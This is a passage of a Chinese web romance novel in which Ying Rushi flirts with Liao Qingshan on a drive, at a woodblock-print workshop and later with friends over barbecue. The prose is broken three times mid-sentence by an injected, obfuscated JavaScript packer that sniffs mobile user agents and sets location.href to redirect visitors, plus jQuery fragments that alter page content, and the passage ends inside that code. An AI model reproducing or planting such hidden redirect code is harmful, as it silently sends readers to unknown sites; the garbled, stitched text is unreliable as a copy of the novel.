“......那好吧,”应如是听了,有些恹恹地低下了头,“那我劝你最好放首歌听听哦,不然你心里肯定会失落的。” “我为什么失落?”他高兴还来不及。 “耳边突然没了这么动听的声音,当然会失落的呀!” “......” 廖清杉! 忍住! 你不能输! 然后,下一秒,就按下了播放键。 车载音响里流淌出来的,是一首特别应景的夏日歌曲,Fool’s Garden的《Lemon Tree》。 这首歌应如是特别喜欢听,于是听着听着,便不由得跟着哼唱了起来。 I''m sitting here in a boring room/ It''s just another rainy Sunday afternoon/ I''m wasting my time I got nothing to do/ I''m hanging around I''m waiting for you/ But nothing ever happens and I wonder 她唱起英文歌来别有一番味道,发音标准,音色也动听。 廖清杉听着,莫名地,竟然觉得还挺享受。 再加上,此刻窗外尽是大好风光。 夏风吹过几千里,抬眼处,满目盎然的青绿。 良辰美景,再叠加动人旋律,时间的逝去,变成了一件不知不觉的事情。 很快,歌曲便行至高潮,她还在跟着哼唱: I wonder how, I wonder why/ Yesterday you told me about the blue blue sky/ And all that I can see/ Is just a red maple tree/ 这里是枫桥,没有柠檬树,却有片片红枫。 于是,她便应景地把歌词里的yellow lemon tree 改成了 red maple tree。 不同的英文单词夹杂在同样的旋律里,非但没有任何违和,反倒还因为这份相异性,格外的抓耳。 这一随机应变的机灵劲儿,鼓舞得廖清杉侧目去看。 坐在副驾驶的那个姑娘,此刻还在兴致极好地跟着哼唱。 一缕阳光拂过树荫,恰好落在了她的耳朵,将她柔软白皙的耳垂,染上了一层淡淡的暖橙色;侧眸看过去,能看到她卷翘的睫毛在眼睑处投下了一道浅浅的阴影,中间的那双眼睛扑闪着,好像藏着无限的乐事。 再专注几秒,你便能发现她唇角还有一个浅浅的梨涡。 察觉到落在自己身上的目光,应如是就要看过来,廖清杉预判到她的轨迹,像个落荒而逃的小偷一样,于瞬间移开了自己的目光。 结果,这一移不要紧。 一移,他便从那扇堪当镜子的车窗玻璃上,看到了自己扬起的嘴角。 廖清杉:“?” 廖清杉! 你笑什么笑! 11. 看她弄巧 如果一个人能让你轻而易举地感觉到小确幸! 那你一定要牢牢抓住她哦! ——《叮咚!您点的乌龙面已送达!》 看到车窗玻璃上映着的那张笑脸,廖清杉轻咳两声,然后便极为刻意地,收回了自己唇角的笑意。 可他没想到的是,这一幕正好被那双水汪汪的大眼睛逮了个正着。 看他刻意掩饰自己的笑容,应如是一脸了然地笑了声,然后,得意洋洋地摇晃了下自己的小脑袋,眉眼间都娇嗔得很:“哎呀,这里又没有抓捕快乐的警察,某人怎么还偷偷笑呀?” 廖清杉:“......” 被拆穿了自己刻意掩藏的心思,无语归无语。 但不代表他内心是毫无波澜的。 尤其是听到她说的那句。 -这里又没有抓捕快乐的警察。 -某人怎么还偷偷笑呀? “抓捕快乐的警察。” 廖清杉在心里琢磨了一下这七个字,然后—— 更想笑了。 心情就像是被人拨了一下弹簧,发出一阵清脆悦耳的声响。 真的,他以前真的从来没遇到像她一样的人。 虽然只认识了短短两三天,但这姑娘,不止一次在他面前语出惊人。 语出惊人这个成语,归根溯源,是出自杜甫的那句七言律诗:“为人性僻耽佳句,语不惊人死不休。” 是杜甫以一个诗人的身份在抒怀,不写出好的诗句不罢休。 如今,这个词依然在被现代人广泛使用。 人们常常用这个词,来表达对某个人言论的震惊。 但是,廖清杉觉得,如果把这个词放在眼前这个姑娘身上,那形容的不应该是震惊,而应该是—— 惊喜。 他是真的好奇。 好奇这姑娘的脑子里,到底藏了多少奇思妙想。 那么热烈。 那么生动。 那么鲜活。 那么容易,让人感受到,小确幸。 歌声随夏日一同往前流淌,不知不觉间,这首歌也在她的合唱中落下了帷幕。 旋律播放完最后一秒,应如是无缝衔接地转过脸,笑嘻嘻地求表扬:“我唱得是不是很好听?” 廖清杉:“......” 说不好听,太违心。 说好听,他又怕这姑娘以为,自己对她有意思。 于是,只好演技拙劣地折中道:“还行。” “还行?”应如是瞬间就不服气了,怒目着跟他抬杠,“那你唱一句我听听?” 廖清杉喉结滚动了下,说:“......好听。” “这就对了嘛!我知道你现在还没喜欢上我,但是该有的夸奖还是要有的哦!”应如是扑闪着两个大眼睛,一本正经地和他解释,“人类太需要肯定和鼓励了,你说是不是?” 廖清杉:“嗯。” 嗯完,一琢磨—— 不对啊。 廖清杉。 你怎么又被拿捏了? - 五分钟后,车子顺利抵达那棵大榕树下。 天地万物,皆有性灵。 那棵盘根交错的老树,蓊蓊郁郁,就像一位平和宽厚的老人,沉默无声地,见证了这世间的风风雨雨。 见证着一个文明的陨落,也见证着另一个文明的兴起;见证着一些人与时代浪潮的奋勇搏击,也见证着一些人默默在背后弯腰拾起了那些不应该被时代抛弃的闪光印记。 透过车窗往外面看了许久,廖清杉才收回目光,解开安全带准备下车。 “喏,”见状,应如是趁机把手里的那份早餐递给他,“这是给你带的早餐。” 廖清杉茫然回眸:“嗯?” “我刚才只说不带你去吃,又没说不给你带吃的。” “......” “你肯定没吃早饭吧?快拿着吃。” “谢谢,我吃过了。”廖清杉果断地拒绝了她的好意。 “我早就猜到你吃过了!”我们的小机灵鬼岂会被他的这点雕虫小技难倒,早有准备地说,“所以,我特地给你买的是凉了也好吃的早餐。” 廖清杉:“?” “这家做的千层饼,真的宇宙第一美味,我跟你说哦,好多饼都是刚出炉的时候趁热吃好吃,等到放凉了就不好吃了,但这个饼就不一样了,热的时候吃是嘎嘣脆,放凉了吃则是又香又劲道,真的,不信你尝尝。” 介绍食物的时候,她的目光格外认真,看起来有种天然的娇憨,让人莫名心软,“还有这个粥,放凉之后也特别好喝,我告诉你,夏天喝这个比喝什么冰镇饮料强多啦,解渴、降温、又健康。” 看他还一副无动于衷的样子,应如是见机行事地换了个策略:“你要是真的不好意思收下,那你就把它当做我蹭你车的车费,我打车过来还得十块钱呢。” “当然,你要是实在不愿意,晚上再请我吃一顿,也不是不可以。” “当然啦,你要是觉得还不够,你也可以......” 怕她条件越开越多,廖清杉眼疾手快地接过她手里的早餐,放进了自己包里:“谢了。” 说完,解开安全带下了车。 很快,应如是也跟随着他的动作,从车上走了下来。 然后,在他看不见的地方,右膝一抬,双手握成拳,看着前面的那个背影,气势十足地来了句: YES! 咱就是说,狠狠地把他拿捏住了! - 前面那个人丝毫不知自己身后的风景,自顾自地往前走着。 虽然是第一次来,但廖清杉倒是很轻车熟路,往前走了几米,看到一扇镶着古铜色门环的木门,便推开门走了进去。 看他就快要消失在自己的视线,应如是赶紧从成功者的姿态中抽离了出来,正准备抬脚往里走,就听到身后传来了不算大的一声:“悠悠。” 回头一看,一个鬓角斑白的老人,穿着一件青绿色薄衫,正步履缓缓地朝她这个方向走来。 看到王觉书,应如是立马眉开眼笑地迎了上去,嘴甜地叫:“王爷爷!”然后,还自然而然地帮他接过了手中的东西。 “哎哟!”极其疼爱的一声,“我们悠悠,今天怎么想起过来了?” “我这不是听我妈妈说小屋暑期要给学生上课嘛,我就过来看看,有没有什么需要帮助的。” “没事,你诗诗姐在那个什么网......网络上,找了个人,今天会过来的。哦,对了,说他还是国外哪个大学的高材生,懂得特别多,还有相关经验。” “这么优秀啊!” “对啊,现在的年轻人,要是都像你们这样,那这门手艺,就不愁传承咯。” 应如是听了,立马竖起了一个大拇指:“您说的甚有道理。” 王觉书仰怀笑了声:“你这姑娘啊,就是嘴甜。” “嘿嘿,过奖过奖,”聊着聊着,应如是突然就开启了一个新话题,“爷爷,我可不可以跟你商量一件事啊?” “什么事啊,你尽管说。” “你说我来都来了,可不可以和那个人一起当诗诗姐的助教啊,我正好也趁着这个机会多学习学习。” 王觉书很爽快:“那当然可以了,这多好的事儿啊。” 应如是点头如捣蒜:“是吧,我觉得也是。” 小计谋得逞! 嘻嘻! - 廖清杉进去之后,和王觉书的女儿,也是木版年画的传承人王诗歌大致聊了一下有关课程的事情。 聊完之后,两个人正准备去教室,就看到应如是朝这边走了过来。 廖清杉以为她是过来看亲人,或者是来蹭课的,于是也没在意,径直往教室里走了。 结果,走到一半,那个人就伸手拦在了他面前,自我介绍道:“你好,我是你的同事,应如是。” 廖清杉:“?” 同事? 我怎么不知道我突然有了个同事? 两个人沉默对视的时候,王诗歌适时走了过来,开口说道:“是悠悠啊,都怪我昨天忘记早点跟你妈妈说了,那你既然来了,就跟姐姐一起去上课?” 应如是很爽快:“好哒!” 往教室走的路上,王诗歌还跟廖清杉说着应如是的好话:“她可真算个小老师呢,从小就跟着我爸学上色,学东西特别快,脑袋瓜聪明着呢。” 廖清杉附和道:“是挺厉害。” 应如是听了,摆摆手,谦虚道:“没有没有。” 实则心里得意得哟! 很快,三个人到了教室,王诗歌先上去做了个自我介绍,然后就示意廖清杉和应如是上台。 看廖清杉没动,应如是还以为他是害羞,于是,便打着头阵,一点都不怯场地迈上了讲台。 “各位同学大家好,我是你们这期暑假班的助教,应如是。”说完,她眉眼一扬,自然而然地抖了个极有文化的包袱,“是‘料青山见我应如是’的应如是哦。” 然后,又介绍了一下自己与木版年画相识相知的过程。 说完,换廖清杉上台。 他也不怯场,但他话没某人那么多,言简意赅道:“各位同学大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117704|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我是廖清杉......” “噗!” 刚介绍完自己的名字,寂静的课堂上,突然就响起了极为不合时宜的一声。 察觉到自己的失态,应如是赶紧道歉:“对不起,我不是故意的。” 然后,心中弹幕疯狂飘起—— 什么东西? 他叫啥? 料青山? 料青山见我应如是的料青山? 我的天呐! 我没有幻听吧! 我要是没有幻听的话,这到底是什么天造地设的缘分啊! 底下学生听了,更是一脸懵逼:“???” 这俩老师确定不是商量好来逗我们笑的吗? 看出大家目光里的笑意,廖清杉拿出一只粉笔,转过身,抬高胳膊,在黑板上行云流水地写下了三个字:廖清杉。 写完后,转身看着台下,一本正经道:“大家看清楚了,我的名字,是这三个字。” “跟‘料青山见我应如是’没有任何关系。” 说完,又补充了句:“跟应如是更没有关系。” 应如是:“......” 后面那句话没必要。 真的很没必要。 - 课后,大榕树下。 “对不起,”应如是双手捂着自己那张怎么都收不住的笑脸,只露出了一双眼睛出来,欲盖弥彰道,“我真的没有笑话你的意思。” 毫无力度的一句辩解。 那眼神,明显就是在笑话。 笑话他跟她家的那只边牧一个名字。 “所以,你那天晚上不是嗓子痒啊。” 说完,瞬间梦回那晚的对话: “姗姗。” “嗯?” “你嗯什么?” “我嗓子痒。” “对了,今天早上,姗姗追你......”说着,感觉不对劲,应如是立刻换了个说法,“我家边牧追你的时候,我在后面喊不让它跑了,你是不是误以为我在喊你啊。” 不提这件事还好,一提这个,廖清杉就感觉自己脑子嗡嗡的,耳边充斥着一道撕心裂肺的女声: “姗姗公主!” “姗姗宝贝!” “姗姗乖呀!” “别跑啦!” 廖清杉:“......” 那首歌怎么唱来着? 最怕空气突然安静。 “我真没想到咱俩的名字竟然这么有缘分,”察觉到气氛安静得诡异,应如是赶紧岔开了话题,“对了,那你知道‘我见青山多妩媚,料青山见我应如是’后面的那一句诗是什么吗?” 廖清杉:“......” 呵。 套路还挺多。 他当然知道那句诗是什么。 他不仅知道,他还能预测到,他要是说了知道,这姑娘会怎么顺着杆往上爬。 当然,他也能预测到,他要是说了不知道,这姑娘肯定会先让他知道,然后再顺着杆往上爬。 于是,他毫不犹豫地把那根杆给她搬走:“那句诗跟咱俩没什么关系。” 应如是却把那根杆又搬了回来:“看来你知道啊。” 廖清杉:“......” 其实,后面的那句诗是:“情与貌,略相似。” 意思是说,一个人内在的才情与外在的形貌,是互为表里的。 “我看我长这么漂亮,你又长这么帅,我们外在这么合适,内在肯定也特别合适!”说着,应如是将目光转向他,笑眼盈盈道,“哎!这么看来,我们俩真的是天生一对啊!” 廖清杉:“......” 就猜到她会这么引申。 “我跟你说,人是不能违背上天的旨意的,尤其是姻缘这种东西,更应该信奉天神,违背天神的旨意,是不会有好结果的......” “应如是。” 第一次听他叫自己的名字,应如是激动地“哎!”了一声。 “我是不是没有跟你说过?” 她眨巴着大眼睛,满眼期待地看着他:“什么呀?” 你没有跟我说过的话实在是太多了呀。 你要说哪一句呀? 是那句已经对我心动了呢? 还是那句后悔自己心动得太晚了啊。 那我会告诉你,没关系的哦。 现在真的一点一点都不晚! 她想得挺美妙。 直到她听到廖清杉极轻地笑了一声,然后,仅用六个字,便瞬间戳破了她的美梦: “我是无神论者。” 12. 看她弄巧 当初你知道我的名字,默写了我的名字。 现在礼尚往来,我也要给你取个独一无二的名字。 就当做我们俩之间的小秋波吧! 嘻嘻! ——《叮咚!您点的乌龙面已送达!》 应如是:“......” 天道好轮回,苍天饶过谁! 你看看,这次轮到你说不过他了吧! 她沉默以对的功夫,口袋里的手机适时响了起来,些许缓解了眼前的这份尴尬。 听到她手机铃响,廖清杉主动让出空间给她接电话,自己转身就进了屋。 应如是低头看了眼来电显示,由于还沉浸在刚才嘴战失败的情绪里,于是带了点儿小脾气按下通话键,小嘴一撇,不爽道:“给我打电话干嘛!” 穆亦川不知道自己又怎么招惹这个姑奶奶了,耐着性子问:“你在哪儿?” “榕树下。” “苏潺马上到机场,我现在去接你,然后我们一起去接她。” “不去!” “老地方见。” “......” 挂了电话,应如是抬脚往雕刻小屋走,还顺带着想了想兴趣班的课程安排。今天是第一天,应该不会进行到上手操作这一步,所以,她在这儿其实也没多大用。于是,她便准备进去和王觉书请个假。 她进去的时候,廖清杉正半蹲在地上,仰头和王觉书聊天。 他们在的地方正好是个阴凉地,头顶的葡萄藤抵挡住原有的燥热,只漏下一些不规则的光,其中几缕,跟通人性一样,纷纷落在了他的肩膀。 微风拂过时,葡萄藤跟着摇曳,他肩上的那些光,也跟着跳跃了起来。 他就沐在那片稀疏的阳光里,肩背平阔笔直,周身线条流畅。 应如是看着这一幕,忍不住设想,如果他换上篮球服,手下再拿个篮球,肯定也是青葱校园里,最惹人注目的那个少年。 有清隽眉眼,挺拔身姿。 表面看起来清冷沉默,内心却有温润的坚守与丰沛的追求。 就这样,应如是在他们背后看了一会儿,趁他们没在说话,才走上前去,温温柔柔地解释着:“爷爷,我这边临时有点事情,要去机场接一下朋友,所以今天可能要早点走,不过,你放心,我明天肯定会准时到的。” “好好好,”王觉书朝她摆摆手,笑得和蔼,“你就先忙自己的去吧。” 应如是嗯了一声,然后,目光滴溜溜地朝左边一转,鬼点子说来就来:“爷爷,要不,我加一下这位老师的微信吧。” 突然被cue的廖清杉:“?” 还不死心是不是? 应如是才不管他的反应,自顾自地说着:“我知道您不爱用手机,所以如果有什么消息您让他及时跟我沟通就行,他就住在我家隔壁,明天上课,我也正好可以一起跟他过来。” “那敢情好啊,”王觉书一听就乐了,“正好你诗诗姐明天要去外地一趟,有你在,我这边也多个帮手。你们年轻人也聊得来,互相做个伴也挺好,你说是吧,小廖。” 廖清杉:“?” 却只得道:“......是。” 应如是见状,立刻抓住机会:“快快快,手机拿出来,我扫你。” 廖清杉:“......” 两双期待的眼睛盯着他,他能怎么办? 只能照做呗。 终于,“叮”的一声响起,应如是成功扫到了他的二维码,格外心满意足。不过,考虑到加好友是个双向奔赴的行为,她还是不放心地提醒了一句:“你一定一定要记得通过哦,要不明天早上你就得去我家亲自叫我起床!” 廖清杉:“……” 不行不行不行。 他感觉面前这个惊天巨坑,好像越来越深了。 应如是倒是心情极好地摆了摆手,把手机放回到口袋里,开始跟大家说再见:“那我先走啦,再见,爷爷。” 说着,将目光转向廖清杉:“再见啦,我的同事。” 结果,还没走两步,像是忘记了什么事情一样,她又突然折返了回来,蹦跶着跑到廖清杉面前,抬眸看着他的目光,笑眼盈盈地说:“对啦,告诉你一个好消息。” 廖清杉:“?” “恭喜你,今天又在我这里拿到了一个加分项哦!” 廖清杉:“?” “通过今天和你的接触,我发现我对你又多了些了解。我真的没想到,你竟然这么有爱心,还这么有学识,如此地热衷于保护中华民族传统文化,”说到兴起处,应如是直接上手,拍了拍廖清杉的肩,以一种过来人的语气,肯定道,“很不错嘛,小伙子!” 廖清杉:“......” 他低眸,看着她弯起的眼睛,听着她话里的肯定,刚才在车上产生的那种双重情绪,再次袭上心头。 无语归无语。 但,心动归心动。 应如是窥不见他心中的情绪,但这一点都不妨碍她,继续稳步进行自己的夸奖:“夸夸你,让你骄傲一会儿。” “不过——”说着,应如是抬高手,捻了捻大拇指和食指的指腹,像在搓芝麻一样,放在自己眼前,比了个小心眼的动作,“只能骄傲一会会儿哦。” 说完,她还故作姿态地凛了凛神色,提醒道:“要不然,会骄兵必败的。” 廖清杉:“......” 可就在他以为她终于说完的时候,廖清杉又看到她捻着的指腹倏地分开。 然后,手指稍一错位,她便熟稔至极地,在他面前,用手指朝他比了一个小小的爱心。 廖清杉:“......” 这姑娘怎么能这么会。 把想要达到的目的都达到,想要说的话都说完,想要做的动作都做到位之后,应如是才放心地往外走。 正好,穆亦川此时也到了,在外面叫了她一声:“应如是,你好了没?” “好啦!”她应了一声,又朝廖清杉挥了挥手,“拜拜啦,记得通过我的微信哦。” 廖清杉站在原地,就这样看着她迈着小碎步跑远。 阳光在她肩头跳跃着,好像连空气中的尘埃都变得雀跃了起来。 看着她的背影,廖清杉莫名想起她刚才把早餐递给自己时说的那句话:“我只说不带你,又没说不给你带。” 想到这句话,不知为何,廖清杉心里忽然泛起一股无法抵挡的暖意。 而这份被人惦记着的暖意,距离他上一次听到,已经过去了十几年光阴。 漫长的思念横亘在眼前,他不敢自欺。 这份看似细微的暖意,实则比夏日炽阳还要滚烫。 风起云涌,又来势汹汹。 这天中午,他还真的,津津有味地吃起了她送的早餐。 小姑娘所言非虚,这饼放凉了依然别有一番风味。 千层饼上浮着的那层酥皮,一口咬上去,依然咔滋咔滋响。 像是把他的心门撕开了一道口子,哗啦哗啦地,往里面灌着光。 - 与此同时,滨江国际机场。 到了接机口,穆亦川看到那黑得跟炭一样的人,嗤笑了声:“不是吧,苏潺,你挖煤去了?” 苏潺听了,狠狠地瞪了他一眼,拉着应如是就往外走。 做了好几个小时的飞机,苏潺饿得不行,三个人就在机场附近找了家烧烤店。 虽然是中午,但烧烤店的生意依然非常火爆,人来人往的,座无虚席。 点好餐,刚一坐下,苏潺就拉着应如是,开始八卦她的感情问题:“怎么样怎么样?人追到了没?” 应如是听了,机械地摇着头,失落道:“还没有。” “正常,”苏潺宽慰她,“你们俩才刚认识,他要是现在立马就答应跟你在一起,反倒说明他对待感情态度不认真,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117705|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是逢场作戏。” “是吧?”听到闺蜜那么头头是道的分析,她眼睛立马就亮了起来,“我觉得也是。” “来来来,详细说说,你俩是怎么认识的,你是因为什么才喜欢上他的啊?” “这第一眼——”应如是含羞一笑,“肯定是长得帅啦。” “哎哟!”苏潺揶揄她,“悠宝,这有什么不好意思的啊!拜托——!” “嗯?” “见色起意真的超酷的好嘛!” 穆亦川:“......” 真烦你们这些恋爱脑! “对了,悠悠,”苏潺继续问道,“我记得你刚跟我说,他名字很特别,叫什么啊?” “你肯定猜不到。” “嗯?” “他叫——”应如是拖长音调,故意卖关子,“廖清杉。” “廖清杉?廖清杉见我应如是?我靠!这什么魔鬼缘分啊!” “是吧,我觉得也是,所以我肯定能把人追到手的!” “相信你哦!悠宝!” “嗯呐!” 闺蜜俩聊得正起劲,突然,叮的一声,手机响了一下。 应如是拿出一看,瞬间惊喜得叫了出来:“啊啊啊他通过我微信了!” 廖清杉的微信名很简单,就两个字母:QS. 意思也很好猜,清杉的首字母。 “哎,你们说,我该怎么给他备注啊?”应如是看着他的微信名,陷入了新的思考,“现在就备注成宝贝杉,有点过分了吧......” 穆亦川根本不理解女生心里那些可爱的小九九,直言道:“备注当然是备注真名,要不还不如不备注。” 应如是轻哼一声:“只有你才会这么无趣。” 苏潺附和:“对啊,你这么无趣的灵魂,是怎么在我们俩有趣的灵魂里,苟活了这么多年的。” 穆亦川:“..................” 气急之下,他伸手,一把拿过应如是的手机:“来来来,让我看看你起的破名能有多有趣。” 首先映入眼帘的是置顶—— 【全世界最美的女人】 这个应该是祝姨。 【全世界最帅的男人】 这个应该是应叔。 【仙女潺】 这个应该是苏潺。 再往下。 看到那三个字,穆亦川还以为自己看错了。 眨了眨眼,又看了一遍。 结果证明自己根本没看错。 所以,应如是给他的微信备注是—— 【边牧川】 ? 什么玩意儿? 边牧川? 骂我是狗? 穆亦川:“应如是,你是不是有毛病!” 应如是听了,一点心虚的感觉都没有,伸手抢过自己的手机,还得意洋洋地朝他晃了晃小脑袋。 ——那意思似是在说,你能拿我怎么样? 穆亦川:“............” 还吃什么饭啊,气都气饱了。 恰好此时,他们点的烤串也陆陆续续端了上来。 应如是就是在看到这些能称得上人生挚爱的烤串的时候,突然之间灵光乍现。 “有啦!”说完,她低头,在屏幕上啪啪啪地打了几个字,打好之后,举起手机拿给对面的两个人看,“你们说,我备注成这个好不好!我的挚爱!” 闻言,穆亦川和苏潺一脸好奇地看向了她的手机屏幕。 看完,收回目光的时候,两个人默契地看了对方一眼。 然后,他们又默契地陷入了一阵长久的沉默。 那沉默长到,桌子上的烤串都能放凉。 她的对话框上方,显示着一个绝对中西合璧、绝对奇思妙想、绝对独一无二、更绝对称得上千古卓绝的备注名: 【芭比Q】 13. 看她弄巧 你问我是不是知道。 那你猜猜我知不知道你知不知道我是不是知道。 ——《叮咚!您点的乌龙面已送达!》 “不是我说啊悠宝,”苏潺越想那个备注越控制不住自己的笑,“你给你未来男朋友起名叫芭比,这合适吗?他要是知道了,肯定跟你闹。” “哎呀,他又看不到!”应如是大眼睛一眨,鬼精着呢,“不过,潺潺,你要是见过他,你就会知道我这个名字起得也不算离谱。” 苏潺:“嗯?” 应如是拿了串烤的奶油馒头,边吃边说:“他皮肤超级好,就跟芭比娃娃一样。” 苏潺:“......” “对了,他眼睛也长得超级好看,又干净又明亮,”说着说着,怕苏潺误解,应如是赶紧又在后面解释了一句,“不过长得一点都不偏女相哦,就是那种特别清爽利落的长相,像从漫画里走出来的那样,不仅好看,还特别耐看。” 这俩人你一嘴我一嘴地说着,丝毫没有任何停下来的意思。这些断断续续又没有营养的交谈声,掺杂在店内播放的午间新闻里,让只想要看个新闻的穆亦川莫名不爽。 心想:他真是脑子抽了才来机场接人,他在家待着不好吗? 苏潺多大的人了,又不是没有自理能力,没有他还回不了家咋的。 如果时光可以倒回,穆亦川一定不会在苏潺面前显摆自己刚拿到的驾照。 这样,就不至于又当苦力司机,又要在这里听这两个人犯花痴,连个新闻都看不得。 越想越不爽,于是,穆亦川看着应如是那张犯花痴的脸,轻哼一声,驾轻就熟地开始跟她抬杠:“你才认识几天啊,就说人家耐看。” 应如是听了,脸上的笑容说散就散。 嘿! 竟然有人敢嘲笑我未来男朋友不耐看! 廖清杉可忍,但我应如是不可忍! 于是,她双手在胸前一叉,目光认真地打量起了穆亦川来。 打量了会儿,才若有所思道:“也是,你不说我还没感觉,咱俩认识了这么多年,我怎么才发现——” 穆亦川听了,勾起唇角,睨着应如是,不屑地笑了声。 那眼神里分明写着:你现在发现我耐看也不晚。 结果,却听到她说:“你这么耐丑啊。” 穆亦川:“......” 我他妈? 苏潺看着这两人互怼,乐得不行:“哎,悠悠,你说边牧大学毕业前能找个女朋友吗?” 应如是又撇嘴,又摇头:“够呛。” 苏潺:“但我觉得可以。” 应如是一听,好胜心瞬间就上来了:“赌不赌?” 苏潺积极应战:“赌!” “赌多少?” 苏潺想了下,有些肉疼地说:“十块?” 应如是听了,果断摇头:“不行,太贵了,他不值这个价。” 穆亦川:“?” “那五块?” “也有点贵,都够买个煎饼果子吃了。” “那就一包辣条吧!五毛!” “成交!” 穆亦川:“......” 他妈的我上辈子到底造了什么孽! 他懒得搭理,也没那么小心眼地去跟两个姑娘计较,于是眼不见为净地把目光重新投注在了电视屏幕上。 此刻,电视上正在播放的那条新闻,是有关我国对外贸易的。 看着看着,穆亦川就感觉到不对劲了,一些容易被忽视的细节在脑海里瞬间连成了线。 联想到自己刚才听到的那个名字,和前天看到的那张“虽说只可意会,但他却觉得莫名在哪儿见过”的漫画人物,两者一结合,他在心里琢磨了下,拿起手机,在通讯里找到一个女生,问她要了一张照片。 那边的女生很快便发了过来,穆亦川把这张图片点开,然后把手机拿给应如是看:“你喜欢的那个人,是他吗?” 闻言,应如是和苏潺一起把头凑了过去。 苏潺看到照片就开始惊呼:“我靠我靠!好帅好帅!” 她确实所言非虚。 照片中的那个男生,穿着一件白色衬衫,眉目清秀,仪表不凡。 他站在万众瞩目的演讲台上,正在就身后的数据图表发表见解,虽说眉眼里仍有着掩不住的学生气,但面对台下的学术前辈和商界代表,依然有着不怯场的大将风范。 应如是看着他手机里这张廖清杉的照片,一脸好奇地问:“你怎么有他的照片?这是在哪儿?” 穆亦川:“CAFTA国际合作高峰论坛。” “CAFTA?什么意思?” “中国-东盟自由贸易区。”穆亦川说,“当时朝大承办了这场论坛,我们过去负责多媒体设备的运行。” 应如是一听,眉头蹙起:“所以他是朝大的学生?那他为什么要骗我说他没上成朝大!” “他没骗你,”穆亦川接过她的话,“如果我没记错的话,他确实不是以学生身份出席的这场论坛。” “那是什么身份?” “廖氏集团代表。”说着,穆亦川看到俩人茫然的眼神,又多解释了一句,“廖氏集团是我国最大的外贸公司,总部在南栖,做集装箱起家,市值千亿。” 苏潺听了一脸震惊:“做个箱子都能市值千亿?” “还做个箱子都能......?”穆亦川一副看智障的表情看向她,“你以为做的是你背的小破箱?” 苏潺瞬间拍案而起:“你才背的小破箱!” “你懂个屁,中国外贸经济发展这么快,多亏这些集装箱,才大大降低了运输成本和卸货成本......”他在这儿认认真真地科普,结果那边根本没有人在听。 苏潺抱着应如是,俨然已经做起了闺蜜暴富的白日梦:“小富婆求包养!” 应如是瞬间入戏,自信地拍了拍胸脯:“包包包,都包在姐身上!” 穆亦川:“......” 真没办法跟你们这些恋爱脑沟通。 “应如是。”他有些认真地叫了声。 “干嘛!” “我刚跟你说那些,是想提醒你,别陷太深,那样的家庭,不是我们能高攀的起的。” 应如是不以为然地笑了声:“开外贸公司有什么高攀不起的——” “我外貌又不差。” 穆亦川&苏潺:“…………” 谐音梗让你玩明白了是吧? - 吃过午饭,苏潺又架着两个人去看了一场电影。 很快,一个下午过去。 同样,雕刻小屋的一下午,也是一晃而过。 木版年画的课程结束,王诗歌趁离家之前,坐在葡萄藤下竹椅上,跟廖清杉聊起一些往事:“最难的那几年,其实是我读中学那几年,你也知道,上个世纪末,胶印技术兴起,给我们家木板年画的制作带来不小的冲击。” 说着,她没忍住叹了口气:“一下子少了很多订单先不说,主要是当时还发生了一件事。” 廖清杉问:“什么?” “当时,我爸有个学徒,手艺好,脑袋也灵光,我爸是真的把他当成亲儿子对待,手把手地从选木材开始教,好不容易能出师了,结果,因为觉得这一行不赚钱,说走就走了。” 廖清杉设身处地地想了下王觉书当时的心情,问:“老爷子当时是不是挺生气?” “可不是么,当时直接大病了一场,”可说着说着,王诗歌突然换了一盏目光,“可是,你知道吗?” 廖清杉抬眸:“嗯?” “我后来长大了,反倒很能理解那个学徒的背叛,”话说至此,她忽然有些涩然地笑了声,“你能理解我这种心情吗?” 廖清杉听到,目光沉了一瞬,“嗯”了一声后,抽丝剥茧地道出了这份理解背后的底层逻辑:“经济基础决定上层建筑,是一个亘古不变的道理。” 所以,当个人利益得不到满足,一个人做出背叛的决定,其实很符合人性。 并且,这份背叛,根本称不上人性本恶,那只是一种本能选择。 “所以,这个故事对我们来说也是一个警醒,”廖清杉说,“对文化的传承与保护,往小了说,必须与个人的利益结合;往大了说,必须与当地的经济发展挂钩。要是做不到这个,只是靠媒体和舆论,治标不治本。” 王诗歌听着他说的这番话,觉得眼前这个年轻人可真有意思,调侃着问:“你过来不就是为了做电视节目么,知道治标不治本,那你还要做?” 廖清杉听了,淡淡一笑:“鲁迅先生说得好。” “嗯?” “中国青年,能发一点儿光,就发一点儿光。” 说这话时,他目光清透,唇角含着一抹似有若无的笑意,声音温润,周身有一种沉下来的能量。 王诗歌以过来人的身份看着眼前这个年轻人,只觉得他身上有着当代年轻人鲜少有的一些气质。 ——清醒独立,却又温和坚定。 她笑着追问:“做这件事的意义,就是为了发点儿光?” “你可别问我做这节目有什么意义,”廖清杉直言道,“我最怕回答这个。” 王诗歌听了,又笑。 她也怕回答这个。 在自己成为木版年画传承人之后,也有不少人过来采访,有的是为了完成自己作业的大学生,有的是政.府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 